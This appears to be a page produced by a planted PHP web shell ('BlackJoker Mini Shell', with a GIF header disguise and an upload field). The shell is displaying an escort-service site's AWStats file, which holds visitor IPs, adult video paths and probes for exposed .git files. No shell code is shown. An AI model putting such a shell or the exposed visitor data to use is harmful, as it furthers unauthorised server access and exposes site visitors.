GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/tmp/awstats/ssl/
Upload File :
Current File : /home/serb/tmp/awstats/ssl/awstats022024.escortservice.org.txt

AWSTATS DATA FILE 7.8 (build 20200416)
# If you remove this file, all statistics for date 202402 will be lost/reset.
# Last config file used to build this data file was /home/serb/tmp/awstats/ssl/awstats.escortservice.org.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2014                
POS_TIME 2697                
POS_VISITOR 10761               
POS_DAY 13484               
POS_DOMAIN 3554                
POS_LOGIN 3984                
POS_ROBOT 4139                
POS_WORMS 4827                
POS_EMAILSENDER 4958                
POS_EMAILRECEIVER 5101                
POS_SESSION 13738               
POS_SIDER 13905               
POS_FILETYPES 5236                
POS_DOWNLOADS 5517                
POS_OS 6963                
POS_BROWSER 7154                
POS_SCREENSIZE 7645                
POS_UNKNOWNREFERER 7719                
POS_UNKNOWNREFERERBROWSER 8238                
POS_ORIGIN 8666                
POS_SEREFERRALS 8802                
POS_PAGEREFS 9002                
POS_SEARCHWORDS 9150                
POS_KEYWORDS 9351                
POS_MISC 2361                
POS_ERRORS 9471                
POS_CLUSTER 3840                
POS_SIDER_404 9593                
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20240301000120 495 322610 39137475593914
FirstTime 20240222134322
LastTime 20240229202848
LastUpdate 20240301133833 495 0 494 0 0
TotalVisits 59                  
TotalUnique 56                  
MonthHostsKnown 0                   
MonthHostsUnknown 72                  
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
JavascriptDisabled 0 0 0
DirectorSupport 0 0 0
QuickTimeSupport 0 0 0
JavaEnabled 0 0 0
PDFSupport 0 0 0
WindowsMediaPlayerSupport 0 0 0
FlashSupport 0 0 0
TotalMisc 0 0 0
AddToFavourites 0 4 0
RealPlayerSupport 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 3 4 3419137 300 304 6269832
1 3 3 630801 294 297 6567927
2 0 0 0 301 304 5754840
3 4 5 2899745 305 308 10081549
4 1 2 1709405 317 326 9975294
5 2 12 4363805 301 307 6152583
6 1 2 310708 276 281 6110059
7 3 4 295777 272 276 5495833
8 1 2 492019 294 300 6399837
9 1 1 41026 288 292 5591950
10 3 3 1758951 294 301 5295732
11 4 5 335249 329 336 13379841
12 1 2 1000042 305 307 7749516
13 2 2 82027 350 352 7248325
14 28 55 5985291 357 366 12820591
15 4 14 6642639 369 378 14365174
16 3 3 82004 348 350 14546029
17 1 1 41006 342 345 11043954
18 3 7 1122713 301 305 5739154
19 3 5 3286900 306 309 8913125
20 8 20 137771751 351 358 13361925
21 10 12 3315381 320 323 5525743
22 4 6 651628 318 318 6404257
23 2 3 533040 365 379 11060246
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 15
us 58 100 20703000
gb 16 24 9699481
de 5 18 83935474
in 5 5 191823
ca 3 3 2774719
ru 3 8 3462997
hn 1 1 41022
ro 1 1 41012
za 1 1 41009
ma 1 1 41024
ch 1 1 41008
hu 0 1 32751
jp 0 1 242813
tr 0 1 451011
cn 0 7 1058945
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 14
bot[\s_+:,\.\;\/\\-] 7302 116101976 20240229235956 9
bingbot/ 106 46578467 20240229233914 4
Applebot/ 47 17365042 20240229012226 5
MJ12bot/ 22 550463 20240226230504 2
Googlebot/ 8 1677307 20240229201001 7
Googlebot\-Image/ 7 526136 20240228132012 0
Mail\.RU_Bot/ 4 3353978 20240229034929 2
AhrefsBot/ 4 3353978 20240227035255 2
no_user_agent 3 2341406 20240227155550 0
MojeekBot 3 1043759 20240229172616 1
unknown 2 106 20240229082026 2
360Spider 2 3306085 20240226032121 0
facebookexternalhit/ 2 3353872 20240229150326 0
yandex 1 451011 20240223040933 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 12
jpg 39 23930000 0 0
jpeg 4 2338595 0 0
mp4 7 68405897 0 0
js 6 606436 0 0
html 23 22412544 0 0
mov 1 4 0 0
ico 3 202938 0 0
gif 3 13650 0 0
Unknown 10 1820297 0 0
css 6 484780 0 0
php 62 2363055 0 0
png 9 179893 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 28
/avtar/1441758629Jada%20Video.mp4 6 8 57563840
/avtar/1447319469Jessica%20%20black%20hole%20sun%20cityvibe%20copy.mov 1 4 4
/avtar/1438943678sample.mp4 0 4 4
/avtar/1475728233ADAMS.mp4 0 4 4
/avtar/14757821521.mp4 0 4 4
/avtar/1471653158ATT_1452655714311_video:519.mp4 0 4 4
/avtar/1450946235322cacaa97d3dfd9a7448140f3bde3a5_v.mp4 0 4 4
/avtar/1439295989sample.mp4 0 4 4
/avtar/1439272293big_buck_bunny.mp4 0 4 4
/avtar/1438938214sample.mp4 0 4 4
/avtar/14473226831-4530dc8dc1f3739a62d0e7925ada438a.mov.mp4 0 4 4
/avtar/1435793716Camera%20shots-Swellington_01.mp4 0 5 9142510
/avtar/14426356532014-04-05%2015.12.21.mp4 0 5 273922
/avtar/1438335398sample.mp4 0 4 4
/avtar/1451594551contacts%20(1).mp4 0 4 4
/avtar/1444842078overheadvideo2.mp4 0 4 4
/avtar/1438527632tera_deear_hua_jannat_2_download_indian_mp4_video_songs-(mobighar.com).mp4 0 4 4
/avtar/14487100732015-11-28.mp4 0 4 4
/avtar/1439295955sample.mp4 0 4 4
/avtar/1475726826MIRA.mp4 0 4 4
/avtar/1444841846overheadvideo2.mp4 0 4 4
/avtar/1442506468erotic%20massage%20moscow.mp4 0 4 4
/avtar/1438332313sample.mp4 0 4 4
/avtar/1439406701HoT%20&%20SeXy%f0%9f%8e%80%20pUeRtoOrIcAn%20&%20WhItE%20%f0%9f%92%84%20Delight%20in%20Cerritos%20ArE.mp4 0 4 4
/avtar/14475378131-b1ac0f487070d5ead28c04d97d1ac408.MOV_001.mp4 0 5 296277
/avtar/1438941691sample.mp4 0 5 1129260
/avtar/1439863912VIDEO0025.mp4 0 4 4
/avtar/14517265492016-01-02.mp4 0 4 4
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 10
macosx11 1 1
android 2 0
win7 1 0
ios_iphone 1 0
macosx15 3 3
Unknown 18 4
unix 1 0
android10 51 25
win10 44 23
linux 171 39
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 22
chrome108.0.0.0 2 2
chrome100.0.4896.88 1 1
opera89.0.4447.51 8 8
chrome114.0.0.0 26 26
Unknown 15 3
firefox114.0 10 10
mozilla 3 1
chrome112.0.0.0 2 2
chrome120.0.0.0 2 0
safari16.0 1 0
chrome66.0.3359.117 1 1
firefox115.0 1 0
firefox52.0 1 1
chrome87.0.4280.141 1 0
chrome122.0.0.0 50 25
firefox48.0 1 1
chrome117.0.0.0 1 1
chrome100.0.4896.127 1 1
chrome121.0.0.0 152 8
firefox123.0 11 2
chrome100.0.4896.60 2 2
chrome120.0.6099.507 1 0
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 4
Photon/1.0 20240228062013
Mozilla/5.0_(compatible;_CensysInspect/1.1;__https://about.censys.io/) 20240224185418
python-httpx/0.26.0 20240229111348
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers'_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20240228013531
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 3
Photon/1.0 20240228062013
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers'_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20240228013531
python-httpx/0.26.0 20240229111348
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 61 193
From1 0 0
From2 9 18
From3 0 0
From4 25 82
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 4
www_google_com 8 8
yandexcom 0 3
yandexru 1 5
ya_ru 0 2
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 0
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 1
x-art-katherine+and+angelica+one+show+for+each 1
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 7
show 1
one 1
angelica 1
x-art-katherine 1
each 1
for 1
and 1
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 4
301 120 29459
404 53 0
206 17 5819279
302 7 0
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 24
/avtar/small/1436053871image-1.jpg 1 -
/716-404-9294/ 1 -
/903-261-4239/ 1 -
/sitemap.xml.gz 2 -
/650-305-1826/ 1 -
/apple-touch-icon.png 3 -
/.well-known/tdmrep.json 1 -
/ads.txt 7 -
www.escortservice.org: 1 -
/e/DoInfo/AddInfo.php 1 -
/727-410-0794/ 2 -
/apple-touch-icon-precomposed.png 2 -
/avtar/1510009544watermarked%20-%20w12%20%E2%80%94%20400-600.jpg 2 -
/.well-known/assetlinks.json 15 -
/adult-work/escorts-El-Paso/.git/HEAD 1 -
/avtar/151000954412a%20700%20%E2%80%94%20%D0%BA%D0%BE%D0%BF%D0%B8%D1%8F.JPG 2 -
/adult-work/.git/HEAD 1 -
/add_flirt.php 1 -
/avtar/small/14360485302015-06-08%2022.06.25-1-1.jpg 1 -
/.git/config 1 -
/adult-work/escorts-El-Paso/325160.html 1 -
/avtar/1510009544image1%20(5)%20%E2%80%94%20%D0%BA%D0%BE%D0%BF%D0%B8%D1%8F.JPG 2 -
/732-642-3906/ 1 -
/avtar/1510009544watermarked%20-%20w9%20(2)%20%E2%80%94%20400-600.jpg 2 -
END_SIDER_404

# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]
# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished
# The 25 first Hits must be first (order not required for others)
BEGIN_VISITOR 72
98.163.250.45 16 29 2428419 20240226140338
51.158.64.21 9 9 1792533 20240223210829
87.142.22.97 5 137 83665784 20240224204925
172.59.107.195 5 17 1591559 20240226140456
172.59.107.73 4 4 9896 20240226140352
171.22.55.168 2 2 82022 20240228133749
97.140.12.123 2 12 4363805 20240227055941
192.158.232.78 2 2 82033 20240225032830
81.151.237.227 2 10 6106965 20240225155249
45.131.94.213 2 2 82028 20240227062915
23.106.26.113 1 1 41001 20240224030912
45.157.73.244 1 1 41010 20240229185614
143.198.45.113 1 1 1676936 20240224102440
191.102.155.186 1 1 41022 20240228234410
35.187.44.236 1 1 181005 20240225070239
23.105.145.61 1 1 41011 20240228221001
103.37.182.29 1 1 41021 20240226153423
107.175.246.165 1 1 41003 20240225015646
176.116.230.250 1 1 41012 20240227075428
104.239.78.220 1 1 41026 20240226091021
23.82.186.48 1 1 41002 20240229111417
23.82.186.196 1 1 41001 20240224163755
103.194.185.26 1 1 27764 20240224000300
198.23.203.179 1 1 41005 20240227105139
172.241.235.137 1 1 41009 20240229110131
192.0.84.125 0 1 1062087 
178.164.244.91 0 1 32751 
91.188.184.99 0 1 451011 
195.234.109.4 0 1 269690 
49.51.247.84 0 3 514033 
49.51.204.252 0 4 544912 
43.153.103.56 0 1 242813 
24.101.0.211 0 1 451011 
109.252.51.246 0 1 451011 
89.178.1.7 0 1 348300 
51.158.106.237 1 1 1676936 20240222192516
199.45.154.66 1 3 285948 20240224185415
205.210.31.107 1 1 548995 20240224144331
23.82.44.40 1 1 41007 20240223230433
146.190.242.64 1 1 549031 20240227120148
185.39.8.16 1 1 41008 20240228082349
45.237.84.181 1 1 41024 20240229202848
85.140.2.99 0 1 451011 
204.12.218.7 1 1 217948 20240225212057
171.22.52.148 1 1 41025 20240228115137
85.104.206.219 0 1 451011 
172.241.234.207 1 1 41005 20240228030514
172.241.94.92 1 1 41006 20240227181954
198.235.24.100 1 1 548788 20240228013531
197.234.146.180 1 1 41009 20240225115103
198.235.24.224 1 1 1676936 20240227032444
104.148.5.87 1 1 41003 20240228225848
81.1.252.66 0 1 32751 
35.171.144.152 1 1 1676936 20240223003741
23.106.16.228 1 1 41016 20240226153740
128.14.209.34 1 1 1061373 20240226192353
23.80.143.126 1 1 41008 20240227141440
192.0.100.131 0 1 976103 
98.181.137.83 1 1 41014 20240227220102
193.160.237.192 1 1 41009 20240228072008
51.15.226.114 1 1 0 20240222165106
107.186.31.40 1 1 41010 20240228013329
207.38.250.146 0 1 451011 
209.127.76.58 1 1 41003 20240226164621
194.176.96.249 1 1 1676936 20240225044238
107.175.159.113 1 1 41017 20240222134322
144.126.131.216 1 1 41010 20240227225748
79.139.149.97 1 1 10968 20240225201306
192.0.102.90 0 1 1099789 
192.241.73.38 1 1 41011 20240228140908
54.88.179.33 1 1 1676936 20240228001759
23.106.16.235 1 1 41006 20240229175656
END_VISITOR

# Date - Pages - Hits - Bandwidth - Visits
BEGIN_DAY 8
20240222 4 6 3063872 4
20240223 12 13 3855224 4
20240224 11 27 141099696 7
20240225 9 21 9676335 8
20240226 31 61 7470188 9
20240227 11 23 7778867 10
20240228 12 16 3450608 12
20240229 5 6 376255 5
END_DAY

# Session range - Number of visits
BEGIN_SESSION 3
2mn-5mn 1
30s-2mn 2
0s-30s 56
END_SESSION

# URL - Pages - Bandwidth - Entry - Exit
# The 25 first Pages must be first (order not required for others)
BEGIN_SIDER 17
/contact-help.php 36 1476397 36 36
/ 16 16673284 14 16
/m/escort-details.php 10 24741 1 1
/m/city-escorts.php 9 119283 2 2
/avtar/ 7 5739260 3 1
/m/all-escorts.php 6 731666 0 0
/boys-escorts 1 27776 0 0
/includ 1 27764 1 1
/refunds-and-cancellation 1 35993 0 1
/agency-list 1 452443 0 0
/trans-escorts 1 100026 0 0
/agency-escort-list 1 363573 0 0
/travel-girls 1 361170 0 0
/privacy-policy 1 47160 0 0
/contact-us-and-help 1 41004 1 0
/city-tour 1 363388 0 0
/avatar.php 1 10968 1 1
END_SIDER

./BlackJoker Mini Shell 1.0